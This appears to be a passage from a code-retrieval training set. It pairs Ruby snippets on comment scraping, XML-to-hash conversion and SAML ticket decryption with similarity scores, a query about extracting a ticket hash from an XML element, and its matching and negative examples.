str_arr[1][0].to_s.size == 1 #we want month padded to 2 digits\n str_arr[1][1]= \"0\" + str_arr[1][1].to_s if str_arr[1][0].to_s.size == 1 #we want day padded to 2 digits\n \n str_arr[1] = str_arr[1][2] + \"-\" + str_arr[1][0] + \"-\" + str_arr[1][1]\n str_arr[2] = convert_to_usable_time(str_arr[2] + \" \" + str_arr[3] ).split(\" \")[0]\n str_arr[1] = str_arr[1] + \" \" + str_arr[2]\n \n p \"date is #{str_arr[1]}\"\n doc.search(\"wp:comment_date\").inner_html = str_arr[1]\n doc.search(\"wp:comment_date_gmt\").inner_html = str_arr[1]\n\n #set comment id to next value\n doc.search(\"wp:comment_id\").inner_html = \"#{@comment_id}\"\n \n #author is found in str_arr at element index=5 and continues till we find element \"-\"\n temp = \"\"\n while str_arr[5] != \"-\"\n temp = temp + str_arr[5] + \" \"\n str_arr.delete_at(5)\n end\n \n #in case of anonymous commenter, they can leave a site url in the name\n #thanks be to glorious xanga dom-design engineer but we now have to take that out\n temp = temp.gsub(/\\(.*\\)/, \"\")\n \n while temp[-1] == 32\n temp.chop!\n end \n \n doc.search(\"wp:comment_author\").inner_html = \"<![CDATA[#{temp}]]>\"\n p \"author= #{temp}\"\n \n #author email is not present?\n #comment_author_IP is not present?\n \n # fill in comment_author_url\n #if cfooter contains 2, or 3 href tags, we've got an anonymous comment\n #if 2, then anonymous and no url provided\n #if 3, then anonymous and url provided\n temp = elem.search(\".cfooter\").search(\"a\")\n if temp.length == 3 #first link is provided 'site' url\n temp[0] = temp[0].to_s\n temp[0] = temp[0].slice(/href=\\\".*\\\"/).gsub(\"href=\\\"\",\"\").gsub(\"\\\"\",\"\")\n \n p \"comment author=#{temp[0]}\"\n doc.search(\"wp:comment_author_url\").inner_html = temp[0]\n elsif temp.length == 4 #second link is provided user that commented\n temp[1] = temp[1].to_s\n temp[1] = temp[1].slice(/href=\\\".*\\\"/).gsub(\"href=\\\"\",\"\").gsub(\"\\\"\",\"\")\n \n p \"comment author=#{temp[1]}\"\n doc.search(\"wp:comment_author_url\").inner_html = temp[1]\n end\n \n #capture comment id for hierarchical sorting\n temp = elem.search(\".cfooter\").search(\"a[@onclick]\").to_s\n temp = temp.slice( /direction=n#\\d*\\'/).gsub(\"direction=n#\",\"\")\n @comment_hash[temp.to_i] = @comment_id #register comment id\n p \"key #{temp.to_i} added to comment id=#{@comment_id}\"\n @comment_id += 1\n \n #capture if this elem has parent-id\n #ctext:class=teplyto x--PARENTID--x\n temp = elem.search(\".ctext\").search(\".replyto\")\n if temp.size == 1\n temp = temp[0].to_s\n temp = temp.slice!(/x--\\d*--x/)\n temp.gsub!(\"x--\",\"\")\n temp.gsub!(\"--x\",\"\")\n \n #p \"lookup parent-id= #{temp}\"\n temp = @comment_hash[temp.to_i]\n \n p \"parent id= #{temp}\"\n doc.search(\"wp:comment_parent\").inner_html = \"#{temp.to_i}\"\n \n #additionally, this takes a special key thingamajic\n doc.search(\"wp:comment_user_id\").inner_html = \"6074067\"\n \n elsif temp.size > 1 #this should NEVER happen, cant have >1 replyto element\n p \"This is an error!\"\n throw Exception.new(\"More than 1 replyto element found\")\n end #end: if temp.size == 1\n \n #finally, insert comment-content where it belongs\n temp = elem.search(\".ctext\").inner_text\n p \"comment=#{temp}\"\n doc.search(\"wp:comment_content\").inner_html = \"<![CDATA[#{temp}]]>\"\n \n #add document model for the comment to the list of arrays\n comments.push(doc)\n \n }#end:page.search(\".ctextfooterwrap\").each{ |elem|\n }#end:@agent.transact {\n \n #TODO: figure out if we need to recurse further down to get next 25 comments?\n \n comments\n end",
"def metadata\n Hash.from_xml(self[:metadata])['hash']\n end",
"def extract_url\n URI.extract(comment, %w[http https])[0]\n end",
"def filter(comment)\n return '' if comment =~ /^=pod\\s*$/\n comment.gsub!(/^=pod/, '==')\n\n comment.gsub!(/^=head(\\d+)/) do\n \"=\" * $1.to_i\n end\n comment.gsub!(/=item/, '');\n comment.gsub!(/C<(.*?)>/, '<tt>\\1</tt>');\n comment.gsub!(/I<(.*?)>/, '<i>\\1</i>');\n comment.gsub!(/B<(.*?)>/, '<b>\\1</b>');\n comment\n end",
"def get_hash(element, path='.')\n return unless element\n \n result = element.at_xpath(path)\n if result\n hash = {}\n result = result.children\n result.each do |item|\n hash[item.name] = item.inner_html\n end \n hash\n end\n end",
"def split_output_of_extracted_comment(output)\n output\n .lines\n .slice_before(/^ =====([^=\\n]+)=====$/)\n .map do |comment|\n Struct::Comment.new(\n comment[0].gsub(/^ =====|=====$/, ''),\n comment[1..-1].join('')\n )\n end\nend",
"def comment(str)\n str.split(\"\\n\").collect {|line| \"# #{line}\" }.join(\"\\n\")\n end",
"def get_hash(path=\"\")\n Element.get_hash(@element, path)\n end",
"def get_same_comment(nodes, metadata)\n record_call(:get_same_comment, nodes, metadata)\n nodes.map { |node| [node, \"Comment for #{node}\"] }.to_h\n end",
"def get_hash_tags\n self.text.gsub(/#(([a-z_\\-]+[0-9_\\-]*[a-z0-9_\\-]+)|([0-9_\\-]+[a-z_\\-]+[a-z0-9_\\-]+))/).to_a\n #self.text.gsub(/#(\\w+)/).to_a\n end",
"def hex; @node_id.hexlify; end",
"def master_comment; comments.roots.first; end",
"def parse_entry_info(xml_element)\n \n revision = xml_element.attributes['revision']\n author = xml_element.elements['author'].text\n date = DateTime.parse(xml_element.elements['date'].text)\n message = xml_element.elements['msg'].text\n \n paths = xml_element.elements.collect('paths/path') do |e|\n {\n :action => e.attributes['action'],\n :path => e.text\n }\n end\n \n return {\n :revision => revision,\n :author => author,\n :message => message,\n :date => date,\n :paths => paths\n }\n end",
"def comment(text)\n @xml << \"<!-- #{text} -->\"\n nil\n end",
"def find_comment\n assert_not_nil @rdigg.stories.find_comment(\"7987660\", \"65434\")\n end",
"def comment=(_arg0); end",
"def comment=(_arg0); end",
"def comment=(_arg0); end",
"def comment=(_arg0); end",
"def parse_ticket_info(xml_element)\n id = xml_element.elements['key'].text rescue \"\"\n id, spacekey = split_spacekey_and_id(id) rescue \"\"\n\n link = xml_element.elements['link'].text rescue \"\"\n title = xml_element.elements['title'].text rescue \"\"\n reporter = xml_element.elements['reporter'].text rescue \"\"\n assignee = xml_element.elements['assignee'].text rescue \"\"\n type = xml_element.elements['type'].text rescue \"\"\n priority = xml_element.elements['priority'].text rescue \"\"\n updated = xml_element.elements['updated'].text rescue \"\"\n status = xml_element.elements['status'].text rescue \"\"\n\n return {\n :spacekey => spacekey,\n :id => id,\n :link => link,\n :title => title,\n :reporter => reporter,\n :assignee => assignee,\n :type => type,\n :priority => priority,\n :updated => updated,\n :status => status\n }\n end",
"def get_comment(filename, action)\n DocUtil.extract_info(@comment_parser.parse(find_raw_comment_for(filename, action)))\n end",
"def parse_comments\n scraper = parse_html.css('.default')\n all_comments = scraper.map do |node|\n user = node.css('.comhead a:first-child').text\n date = node.css('.comhead a:nth-child(2)').text.to_i\n item_id = node.css('.comhead a:nth-child(2)').map {|link| link['href'][8,10]}\n item_id = item_id[0]\n #content = node.css('.comment').css(':not(.reply)').text\n content = node.css('.comment span:first-child').text.gsub(/reply/, \"\").gsub(/[-\\n]/,\"\").strip\n Comment.new(user, date, item_id, content)\n end\n end",
"def comment\n upgrade_to_v2 \n return read_attribute(:comment)\n end",
"def hash_tag_comments_pr(pr)\n ccs = commit_comments(pr)\n prcs = pr_comments(pr)\n ics = issue_comments(pr)\n (ccs + prcs + ics).reduce(0) do |acc, ic|\n unless ic[:body].nil?\n acc + ic[:body].gsub(/`.*?`/, '').\\\n scan(/#([0-9]+)/).\\\n select do |x|\n pull_request?(pr, x[0].to_i)\n end.size\n else\n acc\n end\n end\n end",
"def node_hash(node_id)\n \n end",
"def parse_comment(comment)\n dtext = DText.format_text(comment.body)\n html = Nokogiri::HTML5.fragment(dtext)\n\n old_source = html.css(\"table tr:first-child td a\")[0]&.get_attribute(\"href\") || html.css(\"table tr:first-child td\")[0].text\n old_md5 = html.css(\"table tr:first-child td\")[1].text\n old_file_ext = html.css(\"table tr:first-child td\")[2].text\n old_image_width, old_image_height = html.css(\"table tr:first-child td\")[3].text.split(\" x \").map(&:to_i)\n old_file_size = html.css(\"table tr:first-child td\")[4].text\n\n new_source = html.css(\"table tr:last-child td a\")[0]&.get_attribute(\"href\") || html.css(\"table tr:last-child td\")[0].text\n new_md5 = html.css(\"table tr:last-child td\")[1].text\n new_file_ext = html.css(\"table tr:last-child td\")[2].text\n new_image_width, new_image_height = html.css(\"table tr:last-child td\")[3].text.split(\" x \").map(&:to_i)\n new_file_size = html.css(\"table tr:last-child td\")[4].text\n\n replacer_name = html.css(\"a.dtext-user-mention-link\")[0]&.get_attribute(\"data-user-name\")\n replacer_name = \"user_166417\" if replacer_name == \"Randeel\"\n\n if replacer_name.nil?\n replacer_id = html.css(\"a.dtext-link[href^='/users']\")[0][\"href\"][%r{^/users/([0-9]+)$}, 1]\n replacer = User.find(replacer_id)\n else\n replacer = User.find_by_name(replacer_name) || UserNameChangeRequest.find_by(original_name: replacer_name)&.user\n end\n\n raise \"unknown replacer\" if replacer.nil?\n\n OpenStruct.new(\n old_source:, old_md5:, old_file_ext:, old_file_size:, old_image_width:, old_image_height:,\n new_source:, new_md5:, new_file_ext:, new_file_size:, new_image_width:, new_image_height:,\n replacer:\n )\nend",
"def metadata_comment_title(structure)\n \"#{(structure.highlighted_comment || structure.comments.last).title} (#{structure.comments_count} avis)\"\n end",
"def xml_to_hash(xml) #:nodoc:\r\n h = Hash.new\r\n xml.elements.each{|e| h[e.name] = e.text }\r\n h \r\n end",
"def get_comment_url(tds)\n COMMENT_URL_PREFIX + CGI::escape(\"Development Application Enquiry: \" + clean_whitespace(tds[0].at('a').inner_text))\nend",
"def get_comment_url(tds)\n COMMENT_URL_PREFIX + CGI::escape(\"Development Application Enquiry: \" + clean_whitespace(tds[0].at('a').inner_text))\nend",
"def to_hash\n XMLUtils.to_hash xml\n end",
"def comments=(_arg0); end",
"def comments=(_arg0); end",
"def comments=(_arg0); end",
"def comments=(_arg0); end",
"def comments=(_arg0); end",
"def node_to_hash(node)\n puts \"You must define a `node_to_hash` method in your child class to parse the Nokogiri nodes\"\n end",
"def element_hash\n # Construct string with basic element attributes\n string = \"#{@number}\\n#{@symbol}\\n#{@name}\\n#{rounded_weight}\\n\"\n { string: string, xpos: @xpos, ypos: @ypos }\n end",
"def get_comment_url(tds)\n return COMMENT_URL_PREFIX + CGI::escape(\"Development Application Enquiry: \" + clean_whitespace(tds[0].at('a').inner_text))\nend",
"def get_comment_url(tds)\n return COMMENT_URL_PREFIX + CGI::escape(\"Development Application Enquiry: \" + clean_whitespace(tds[0].at('a').inner_text))\nend",
"def hash_tag_comments_issue(pr)\n ccs = commit_comments(pr)\n prcs = pr_comments(pr)\n ics = issue_comments(pr)\n (ccs + prcs + ics).reduce(0) do |acc, ic|\n unless ic[:body].nil?\n acc + ic[:body].gsub(/`.*?`/, '').\\\n scan(/#([0-9]+)/).\\\n select do |x|\n !pull_request?(pr, x[0].to_i)\n end.size\n else\n acc\n end\n end\n end",
"def filter_comment_format(comment, struct_comment)\n sc, cc = struct_comment, comment\n comment = nil unless cc && cc.match(/./)\n sc = nil unless sc && sc.match(/./)\n if cc || sc\n [cc, sc].uniq.compact.join(' / ').gsub(/\"/, '')\n else\n ''\n end\n end",
"def comments_content(path)\n raw_comments = player_doc.xpath(\"#{path}/comment()\").to_s\n html = raw_comments.gsub(\"<!--\",\"\").gsub(\"-->\",\"\").gsub(\"\\n\", '')\n\n doc = Nokogiri::HTML(html)\n end",
"def meta_info_for_comment(comment)\n unless comment.author.blank?\n html = content_tag :div do\n concat(content_tag(:div, \"Seit: #{l(comment.author.created_at.to_date, :format => :month_year)}\"))\n concat(content_tag(:div, \"Beiträge: #{comment.author.comments.visible.count}\"))\n end\n html\n end\n end",
"def entry2hash(entry)\n hash = Hash.new('')\n entry.each_line do |line|\n tag = tag_get(line)\n next if tag == 'XX'\n tag = 'R' if tag =~ /^R./\t# Reference lines\n hash[tag] += line\n end\n return hash\n end",
"def parse_comments(comments); end",
"def hash_from_xml( element )\n result = {}\n \n element.each do |node|\n unless excluded?( node.name )\n \n result[ node.name ] = [] if unbounded?( node.name ) && result[ node.name ].nil?\n\n if node.children.children.any?\n if result[ node.name ].is_a?( Array )\n result[ node.name ] << hash_from_xml( node.children )\n else\n result[ node.name ] = hash_from_xml( node.children )\n end\n else\n if result[ node.name ].is_a?( Array )\n result[ node.name ] << node.content\n else\n result[ node.name ] = node.content\n end\n end\n\n end\n end\n \n result\n end",
"def hash_tag_description_pr(pr)\n pull_req = pull_req_entry(pr)\n unless pull_req[:body].nil?\n pull_req[:body].\\\n gsub(/`.*?`/, '').\\\n scan(/#([0-9]+)/).select do |x|\n pull_request?(pr, x[0].to_i)\n end.size\n else\n 0\n end\n end",
"def get_hash(path='.')\n Element.get_hash(@element, path)\n end",
"def extract_magic_comments(processed_source); end",
"def getXMLText(hmXML, cdata)\n if hmXML == nil\n return\n end\n xml = \"\"\n #try{\n # XML = new String(\"\".getBytes(),xmlEncoding);\n #}catch(Exception e){}\n\n #puts \"----#{hmXML}\"\n\n nodeName = hmXML[\"nodeName\"]\n hmAttrib = hmXML[\"nodeAttributes\"]\n nodeValue = hmXML[\"nodeValue\"]\n #puts \"Node Value : #{nodeValue}\"\n needsFinish = true\n childCount = hmXML[\"childCount\"].to_i\n #puts \"Child Count: #{childCount}\"\n if(nodeName != nil )\n\n if(nodeName[0] != '#' && !nodeName.start_with?(\"!--\"))\n\n xml = \"<\".concat(nodeName).encode(xmlEncoding)\n #attSet = hmAttrib.keysSet();\n #Object attObj[] = attSet.toArray();\n hmAttrib.keys.each{ |key|\n xml.concat(\" #{key}=\\\"#{hmAttrib[key]}\\\"\").encode(xmlEncoding)\n\n }\n needsFinish = true\n xml.concat(\">\")\n\n end\n if(needsFinish || childCount!=0)\n #puts \"1 Node Value: #{nodeValue}\"\n if(nodeName.start_with?(\"#comment\") || nodeName.start_with?(\"!--\") && !nodeName.end_with?(\"/\"))\n #puts \"1.1 Node Value: #{nodeValue}\"\n xml = \"<!--#{nodeValue}\".encode(xmlEncoding)\n attSet.keys.each{ |key|\n xml.concat(\" #{key}=\\\"#{hmAttrib[key]}\\\"\").encode(xmlEncoding)\n }\n xml.concat(\"-->\")\n end\n #puts \"2 Node Value: #{nodeValue} #{nodeName}\"\n if(nodeValue != nil && nodeValue.strip != \"\" && !nodeName.start_with?(\"#comment\") && !nodeName.start_with?(\"!--\") && !nodeName.end_with?(\"/\"))\n #puts \"2.1 Node Value: #{nodeValue}\"\n if(cdata)\n xml.concat(\"<![CDATA[#{nodeValue}]]>\").encode(@xmlEncoding)\n else\n #puts \"2.2 Node Value: #{nodeValue}\"\n xml.concat(nodeValue)\n end\n end\n\n\n for i in 0..childCount\n xmlt = getXMLText(hmXML[i], cdata)\n #puts \"----#{xmlt}\"\n if xmlt != nil\n xml.concat(xmlt )\n end\n end\n if(nodeName[0] != '#' && !nodeName.start_with?(\"!--\") && !nodeName.end_with?(\"/\"))\n\n xml.concat(\"</#{nodeName}>\\n\")\n end\n end\n end\n return xml.encode(@xmlEncoding)\n end",
"def get_different_comment(nodes, metadata)\n record_call(:get_different_comment, nodes, metadata)\n nodes.map { |node| [node, 'Comment from test_cmdb_2'] }.to_h\n end",
"def process_each_comment comment\n\n\tquote1_markerstring = \"\\r\\n\\r\\n\"\n\tquote2_markerstring = \"\\r\\n\"\n\n\tquote = comment[/#{quote1_markerstring}(.*?)#{quote2_markerstring}/m, 1].strip\n\tbookname_and_page = comment.split(\"|\").first\n\n\ttmp = bookname_and_page.split(\"\\r\\n\")\n\tbookname = tmp.first.strip\n\tpage = tmp.last.strip\n\t[quote,bookname,page]\n\nend",
"def elementnumber\n @line1[64...68].to_i\n end",
"def getelement(element)\n res = element.split(':',3)\n #[res[0], res[1], Base64.decode64(res[2].to_s)]\n [res[0], res[1], res[2]]\n end",
"def getHash element\n\tfile = File.new(element)\n\thash = Digest::SHA256.file file\n\tfile.close\n\treturn hash.hexdigest \n\tend",
"def guid\n query_root_node(\"guid/text()\")\n end",
"def place_details place_key\n\tplace_node = @places_auth_file.xpath \"//t:place[@xml:id='#{place_key}']\", @ns\n\tdetails_hash = {}\n\tdetails_hash[:geo] = place_node.xpath(\"t:location/t:geo\", @ns).text()\n\tdetails_hash[:settlement] = place_node.xpath(\"t:placeName[1]/t:settlement\", @ns).text()\n\tdetails_hash[:settlement_type] = place_node.xpath(\"t:placeName[1]/t:settlement/@type\", @ns).text()\n\tdetails_hash[:country_key] = place_node.xpath(\"t:placeName[1]/t:country/@key\", @ns).text()\n\tdetails_hash[:country_name] = place_node.xpath(\"t:placeName[1]/t:country\", @ns).text()\n\tdetails_hash\nend",
"def comments_hash_flag\n false\n end",
"def strip_hashes text\n return text if text =~ /^(?>\\s*)[^\\#]/\n\n empty = ''\n empty = RDoc::Encoding.change_encoding empty, text.encoding\n\n text.gsub(/^\\s*(#+)/) { $1.tr '#', ' ' }.gsub(/^\\s+$/, empty)\n end",
"def touchdowns_hash(stats_xml)\n { number: stats_xml[:number].to_i }.merge(children_first_text_hash(stats_xml))\n end",
"def extract_commit_hash(commit)\n return commit.lines.first.strip!\nend",
"def read_hash_digraph\n if next?('>')\n return @token_gen.make_keyword('}')\n end\n if next?(':')\n if next?('%')\n if next?(':')\n return @token_gen.make_keyword(K::HASHHASH)\n end\n unreadc('%')\n end\n return @token_gen.make_keyword('#')\n end\n nil\n end",
"def parse_comment\n s0 = @scanner.pos\n if match_str('*') == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n s2 = parse_nonls\n if parse_nl == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n @reported_pos = s0\n s0 = s2.join\n end\n end\n if s0 == :failed\n s0 = @scanner.pos\n s1 = match_str('&')\n if s1 == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n s2 = parse_nonls\n if parse_nl == :failed\n @scanner.pos = s0\n s0 = :failed\n else\n @reported_pos = s0\n s0 = '&' + s2.join\n end\n end\n end\n s0\n end",
"def comment_cache_key(comment)\n \"comment/#{comment.id}\"\n end"
] |
[
"0.64380425",
"0.58777505",
"0.56281865",
"0.56281865",
"0.56281865",
"0.5613709",
"0.560455",
"0.5583392",
"0.55376524",
"0.55260986",
"0.55250883",
"0.5472814",
"0.544129",
"0.5417839",
"0.5410514",
"0.5402042",
"0.5397296",
"0.5386199",
"0.5317554",
"0.53128827",
"0.53115803",
"0.5280937",
"0.5178923",
"0.51743716",
"0.5167682",
"0.51626736",
"0.515032",
"0.5122514",
"0.5104691",
"0.5082072",
"0.50791913",
"0.50520337",
"0.504298",
"0.50402474",
"0.50366235",
"0.5036269",
"0.501865",
"0.50073916",
"0.5005882",
"0.5002606",
"0.497828",
"0.49735358",
"0.49729565",
"0.4969067",
"0.49619612",
"0.49580455",
"0.49494448",
"0.49450526",
"0.49362952",
"0.49320087",
"0.49250397",
"0.49250397",
"0.49250397",
"0.49250397",
"0.49166325",
"0.49156442",
"0.49059567",
"0.48820534",
"0.48727703",
"0.48568243",
"0.48541918",
"0.48513642",
"0.48504183",
"0.48498508",
"0.48498508",
"0.48424026",
"0.48422778",
"0.48422778",
"0.48422778",
"0.48422778",
"0.48422778",
"0.48290032",
"0.48255172",
"0.48214096",
"0.48214096",
"0.48011458",
"0.47785968",
"0.47750428",
"0.4762553",
"0.47607917",
"0.47415048",
"0.47388124",
"0.47364506",
"0.47260278",
"0.47205773",
"0.4718164",
"0.47065383",
"0.4704582",
"0.4702981",
"0.46991763",
"0.46957526",
"0.46947837",
"0.46930057",
"0.46870655",
"0.46855697",
"0.46841827",
"0.46835792",
"0.4681983",
"0.4681093",
"0.4675391"
] |
0.6524682
|
0
|
extract ticket hash from individual xml element
|
def parse_ticket_info(xml_element)
id = xml_element.elements['key'].text rescue ""
id, spacekey = split_spacekey_and_id(id) rescue ""
link = xml_element.elements['link'].text rescue ""
title = xml_element.elements['title'].text rescue ""
reporter = xml_element.elements['reporter'].text rescue ""
assignee = xml_element.elements['assignee'].text rescue ""
type = xml_element.elements['type'].text rescue ""
priority = xml_element.elements['priority'].text rescue ""
updated = xml_element.elements['updated'].text rescue ""
status = xml_element.elements['status'].text rescue ""
return {
:spacekey => spacekey,
:id => id,
:link => link,
:title => title,
:reporter => reporter,
:assignee => assignee,
:type => type,
:priority => priority,
:updated => updated,
:status => status
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def getHash element\n\tfile = File.new(element)\n\thash = Digest::SHA256.file file\n\tfile.close\n\treturn hash.hexdigest \n\tend",
"def hash\n element.hash\n end",
"def lookup_remote(md5_hash)\n unhash_data = Scrubyt::Extractor.define do\n fetch \"http://gdataonline.com/qkhash.php?mode=txt&hash=#{md5_hash}\"\n unhash \"//table/tr[2]/td[2]/b\"\n end\n \n doc = Nokogiri::HTML.parse(unhash_data.to_xml)\n doc.xpath('//root/unhash').text.strip rescue nil\n end",
"def hashedxml(node)\n \n node.elements.map do |element|\n \n attributes = element.attributes.clone\n \n # Although attribute last_modified isn't used by rexle-diff it is \n # created by Dynarex whenever a record is created or updated. \n # This would of course cause the record to be flagged as changed even \n # when the element value itself hashn't changed.\n #\n %i(created last_modified).each {|x| attributes.delete x}\n x = element.elements.length > 0 ? '' : 0\n [element.name, attributes, element.text.to_s.strip, x].hash\n \n end\n end",
"def elementhash\n return @elementHash\n end",
"def proteinInfo2hash (xmlRes)\n\n#\t\txmlDoc = Document.new xmlRes\n#\t\tentries = xmlDoc.elements.collect('uniprot/entry') { |ent| ent }\n\t\txmlDoc = Nokogiri::XML(xmlRes)\n\t\tentries = xmlDoc.css('uniprot > entry')\n# just take the very first entry\n\t\tmain_entry = entries.first\n\n\t\trecommended_name = main_entry.css('protein > recommendedName > fullName').collect {\n\t\t\t|node| node.text\n\t\t}\n\t\tsynonyms = main_entry.css('protein > alternativeName > fullName').collect {\n\t\t\t|alt_name| alt_name.text\n\t\t}\n\t\tkeywords = main_entry.css('keyword').collect { |keyw| keyw.text }\n\n\t\torganism = main_entry.css('organism > name').collect { |org|\n\t\t\tif org['type'] == 'scientific' then org.text end\n\t\t}\n\t\tfunction = main_entry.css(\"comment[type='function']\").collect { |func|\n\t\t\tfunc.text\n\t\t}\n\t\tlocation = main_entry.css(\"comment[type='subcellular location'] > subcellularLocation > location\").collect { |loc|\n\t\t\tloc.text\n\t\t}\n\n\t\tmolWeight = nil\n\t\tseqLength = nil\n\t\tseq = nil\n\t\tmain_entry.css(\"/sequence\").collect { |theSeq|\n\t\t\tmolWeight = theSeq.attributes['mass'].value\n\t\t\tseqLength = theSeq.attributes['length'].value\n\t\t\tseq = theSeq.text\n\t\t}\n\n# the very first pdb reference is got. a comparison based on resolution can improve the choice\n\t\tpdbs = main_entry.css(\"dbReference[type='PDB']\").collect { |pdb|\n\t\t\tpdb\n\t\t}\n\t\tpdbNodeMalformed = false\n\t\tpdbs.each { |node|\n\t\t\tresolution = node.css(\"property[type='resolution']\")\n\t\t\tif resolution.nil? || resolution.length == 0 then\n\t\t\t\tpdbNodeMalformed = true\n\t\t\t\tbreak\n\t\t\tend\n\t\t}\n\t\tif pdbs.empty? == false && pdbNodeMalformed == false\n# sort by value resolution to get the element with lowes resolution value\n\t\t\tpdbs = pdbs.sort_by{ |node|\n\t\t\t\tnode.css(\"property[type='resolution']\").first['value']\n\t\t\t}\n\t\tend\n\n\n\t\tpdbResult = ''\n\t\tif pdbs.empty? == false\n\t\t\tpdbResult = 'http://www.pdb.org/pdb/explore/explore.do?structureId='\n#\t\t\tpdbResult += pdbs[0].css(\"property[type='resolution']\").first['value']\n\t\t\tpdbResult += pdbs[0].attributes['id'].value\n\t\tend\n\t\thash_result = Hash.new\n\t\thash_result[:target_name] = \"#{recommended_name[0]} (#{organism[0]})\"\n\t\thash_result[:target_type] = 'PROTEIN'\n\t\thash_result[:description] = recommended_name[0]\n\t\thash_result[:synonyms] = synonyms.join('; ')\n\t\thash_result[:organism] = organism[0]\n\t\thash_result[:keywords] = keywords.join('; ')\n\t\thash_result[:cellularLocations] = location.join('; ')\n\t\thash_result[:molecularWeight] = molWeight\n\t\thash_result[:numberOfResidues] = seqLength\n\t\thash_result[:sequence] = seq\n\t\thash_result[:specificFunction] = function.join('; ')\n\t\thash_result[:pdbIdPage] = pdbResult\n\t\thash_result[:theoreticalPi] = nil\n\n\t\thash_result\n\tend",
"def get_hash(path=\"\")\n Element.get_hash(@element, path)\n end",
"def ticket_number(text_element)\n \ttemp = text_element.split(\"/\")\n \ttemp2 = temp[0].split(\"-\")\n \ttemp2[1]\n end",
"def getelement(element)\n res = element.split(':',3)\n #[res[0], res[1], Base64.decode64(res[2].to_s)]\n [res[0], res[1], res[2]]\n end",
"def hexdigest\n @digest.unpack('H*'.freeze).first\n end",
"def to_hash\n @to_hash ||= RISBN::NokogiriUtils.hash_from_node(xml_nodes)[:entry]\n end",
"def to_hash\n strip_content(xml.to_hash)\n end",
"def to_hash\n XMLUtils.to_hash xml\n end",
"def get_hash(path='.')\n Element.get_hash(@element, path)\n end",
"def extract_values_from_xml(xml)\n if xml =~ /\\<.*\\>/\n x = Hpricot::XML(xml)\n new_hash = (x/\"form/field\").map {|field|\n {field[:id].to_s => (field[:value] || field.inner_text)}\n }.inject{|i, j| i.merge(j) }\n logger.info \"Received XML body:\\n#{xml}\\nMapped to: #{new_hash}\"\n new_hash\n end\n end",
"def hash \n @hash ||= CobraVsMongoose.xml_to_hash(file_content)\n end",
"def get_artifact_sha(node, artifact_location, ssl_verify=true)\n require 'nexus_cli'\n require 'rexml/document'\n config = data_bag_config_for(node, DATA_BAG_NEXUS)\n remote = NexusCli::RemoteFactory.create(config, ssl_verify)\n REXML::Document.new(remote.get_artifact_info(artifact_location)).elements[\"//sha1\"].text\n end",
"def get_hash(element, path='.')\n return unless element\n \n result = element.at_xpath(path)\n if result\n hash = {}\n result = result.children\n result.each do |item|\n hash[item.name] = item.inner_html\n end \n hash\n end\n end",
"def change_sha(node)\n node['delivery']['change']['sha']\n end",
"def fingerprint\n text('//fingerprint').upcase\n end",
"def sha\n result_hash['sha']\n end",
"def get_upload_ticket\n send_method(:get_upload_ticket).at(:upload_ticket).inner_html\n end",
"def subscriber_hash(email)\n # Simple hash of the email address.\n Digest::MD5.hexdigest(email)\n end",
"def hash\n node_id.hash\n end",
"def extract_ticket_ids\n tickets = message.split('Ref: ').last\n tickets.gsub('#', '').split(',').map(&:strip)\n end",
"def hash_from_payload(payload)\n Digest::SHA256.digest(Digest::SHA256.digest( payload )).reverse.unpack(\"H*\")[0]\n end",
"def hex; @node_id.hexlify; end",
"def hexdigest\n @authenticator.unpack(\"H*\").last\n end",
"def generate_digest(element, algorithm)\n element = document.at_xpath(element, namespaces) if element.is_a? String\n xml = canonicalize(element)\n digest(xml, algorithm).strip\n end",
"def xml_to_hash(xml) #:nodoc:\r\n h = Hash.new\r\n xml.elements.each{|e| h[e.name] = e.text }\r\n h \r\n end",
"def extract_id(cell)\n return nil if cell.nil?\n input = cell.css('input[@name=\"VOLFDNR\"]').first\n return nil if input.nil?\n volfdnr = input[\"value\"]\nend",
"def ticket\n # collect relevant parts of the saml document\n begin\n @encrypted_key = expected_saml_node_content( @saml_doc, '/samlp:Response/saml:Assertion/saml:AttributeStatement/saml:EncryptedAttribute/xenc:EncryptedData/ds:KeyInfo/xenc:EncryptedKey/xenc:CipherData/xenc:CipherValue' )\n rescue Intuit::MissingExpectedSamlNode\n raise NoEncryptedKey.new\n end\n begin\n @encrypted_ticket = expected_saml_node_content( @saml_doc, '/samlp:Response/saml:Assertion/saml:AttributeStatement/saml:EncryptedAttribute/xenc:EncryptedData/xenc:CipherData/xenc:CipherValue' )\n rescue Intuit::MissingExpectedSamlNode\n raise NoEncryptedTicket.new\n end\n \n # make sure the encryption algorithm is something that is recognized (currently only aes-128 is recognized)\n encryption_method_node = expected_saml_node( @saml_doc, '/samlp:Response/saml:Assertion/saml:AttributeStatement/saml:EncryptedAttribute/xenc:EncryptedData/xenc:EncryptionMethod' )\n algorithm = encryption_method_node.attributes.to_h['Algorithm']\n unless algorithm.eql?( 'http://www.w3.org/2001/04/xmlenc#aes128-cbc' )\n raise Intuit::UnknownSymmetricEncryptionAlgorithmException.new( \"unknown symmetric encryption algorithm #{ algorithm }\" )\n end\n \n # decrypt aes-128 key using rsa\n @decrypted_key = @private_key.private_decrypt( Base64::decode64( @encrypted_key ) )\n \n # decrypt ticket using aes-128\n # http://www.w3.org/TR/2002/REC-xmlenc-core-20021210/Overview.html#aes128-cbc\n cipher = OpenSSL::Cipher::Cipher.new( 'AES-128-CBC' )\n cipher.decrypt\n cipher.key = @decrypted_key\n cipher.padding = 0\n ciphertext = Base64::decode64( @encrypted_ticket )\n # remove the first 16 bytes and use them as the initialization vector\n cipher.iv = ciphertext[0,cipher.iv_len]\n ciphertext = ciphertext[cipher.iv_len..-1]\n @decrypted_ticket = cipher.update( ciphertext ) + cipher.final\n # number of padding bytes at the end of the cleartext is recorded in the last byte\n last_byte = @decrypted_ticket[-1].ord\n @decrypted_ticket = @decrypted_ticket[0..-last_byte-1]\n # decrypted value is itself an xml document\n ticket_doc = LibXML::XML::Parser.string( @decrypted_ticket ).parse\n @ticket = expected_saml_node_content( ticket_doc, '/saml:Attribute[@Name=\"ticket\"]/saml:AttributeValue' )\n end",
"def from_xml_to_hash(xml)\n Hash.from_xml(xml)\n end",
"def xml_hash(xml)\n nori = Nori.new(strip_namespaces: true, :convert_tags_to => lambda { |tag| tag.snakecase.to_sym })\n nori.parse(xml)\n end",
"def hash\n return unless doc_value?\n result['doc']['hash']\n end",
